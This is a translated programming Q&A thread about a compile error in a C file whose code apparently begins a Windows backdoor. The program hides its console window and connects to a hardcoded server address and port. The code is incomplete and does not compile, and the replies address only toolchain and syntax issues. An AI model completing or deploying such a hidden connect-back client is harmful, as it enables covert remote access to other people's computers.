【发布时间】:2021-12-29 22:06:58
【问题描述】:
当我想通过执行gcc Raci.c 编译Raci.c 文件时,我收到以下错误:
Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ 32 | int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, hPrev, LPSTR lpCmdLine, int nCmdShow) {
我找了好久都没找到解决办法。
提前致谢,如果这是一个“愚蠢”的错误,我深表歉意。我自己学习 C 有一段时间了。
我附上Raci.c的内容:
│ File: Raci.c
#include<stdio.h> // Libreria estandar para valores entrada/salida
#include<stdlib.h> // Define 4 variables, macros y otras funciones generales
#include<unistd.h> // Proporciones acceso a la API de POSIX (Operating System Interface). Estander IEEE que permite compatibilidad entre diferente S.O.
#ifdef _WIN32
#include<winsock2.h> // Nos permite establecer conexiones con el servidor
#include<windows.h> // Definimos que trabajaremos con Windows y nos aporta compatibilidad con ciertas funciones
#include<winuser.h> // Permite diferentes funciones Windows Based
#include<wininet.h> // Permite conexiones inet (detallar)
#include<windowsx.h> // Mas compatibilidad Windows
#endif
#include<string.h> // Permite manipular arrays de characteres comodamente (strings(
#include<sys/stat.h> // Libreria C POSIX que contiene construcciones que facilitan obtención de información sobre atributos de archivos
#include<sys/types.h> // Diferentes variables y estructuras...
/*
Función main/prinicpal donde estableceremos conexión con el servidor y especificaremos el resto de funciones.
APIENTRY => Alias de WINAPI (Explicamos al compilador como manejar el stack y argumentos al llamar la función)
PARAMETERS :
HINSTANCE hInstance => Identificador de instancia / modulo. El S.O. utiliza este valor para identificar el EXE cuando es cargador en memoria.
HINSTANCE hPrev => Identificador de instancia previo
LPSTR lpCmdLine => Contiene la linea de comandos en un String Unicode (Nos da la shell utilizando un charset en casi todos los idiomas (UNICODE))
int nCmdShow => Indicador de tamaño de ventana CMD (pequeña, grande, invisible ...)
*/
// Inicialización de variables que deben ser aplicadas en otras funciones
int sock;
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
// Inicializaciones de consola
HWND stealth; // Identificador de ventana parte de Win32 API
AllocateConsole(); // Inicializa nueva consola permitiendo entrada / salida y control de errores de esta misma.
stealth = FindWindowA("ConsoleWindowClass", NULL); // Función para encontrar la ventana con ClassName "ConsoleWindowClass" sin especificar titulo. Busca la ventana / proceso
ShowWindow(stealth,0); // Inicializamos la consola sin mostrarla
struct sockaddr_in ServAddr; // Definición multiple de variables sockaddr_in y ServAddr
unsigned short ServPort; // Inicializamos variable unsigned (solo valores positivos) de tipo integer short
char *ServIP; // Inicializamos el pointer *ServIP
WSDATA wsaData; // Estructura que contiene información relacionada con sockets de Windows (Define como el software de aplicación accede a servidores de red especialmente TCP/IP)
ServIP = "192.168.1.133"; // Indicamos la IP del servidor que esperará conexión (localhost)
ServPort = "50005"; // Puerto por el que escucharemos / esperaremos conexión
// Tratamos de inicializar Winsock DLL para el proceso de la aplicación. Si = 0 OK | Si != 0 WRONG
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM,0); // AF_INET => Indicamos que estableceremos conexión sobre IPv4
// SOCK_STREAM => Indicamos que trabajaremos sobre el protocolo TCP
memset(&ServAddr, 0, sizeof(ServAddr)); // Limpiamos los bytes a 0 todo el contenido
Serv.Addr.sin_family = AF_INET; // Especificamos que es IPv4
Serv.Addr.sin_addr.s_addr = inet_addr(ServIP); // Formateamos a IPv4 la IP introducida en ServIP
Serv.Addr/sin_port = htons(ServPort); // Especificamos y formateamos el puerto introducido
// IP:PUERTO
connect(sock, (struct))
} // Main function end
【问题讨论】:
-
对西班牙语的 cmets 感到抱歉。我很关注cmets
-
首先,确保
_WIN32被实际定义。 (一种方法是在您的#ifdef _WIN32块中放置一个错误的语句,并确保编译器在您编译时在那里显示错误。)然后确保您的一个Windows 标头实际上为您提供了APIENTRY的定义。您也可以尝试完全删除APIENTRY。 -
也很可能不是这段代码的问题,而是配置问题,eg,当你似乎想要一个 Windows 时试图输出一个命令行程序可执行。您能告诉我们更多关于您使用的工具链的信息吗?
-mwindows如果gcc? -
请edit 删除完全讨厌的行号装饰。代码应该被格式化,以便我们可以轻松地复制/粘贴它并编译它以帮助您解决它。另请参阅提供minimal reproducible example 的指南。
-
好的,我现在就做
标签: c visual-studio compiler-errors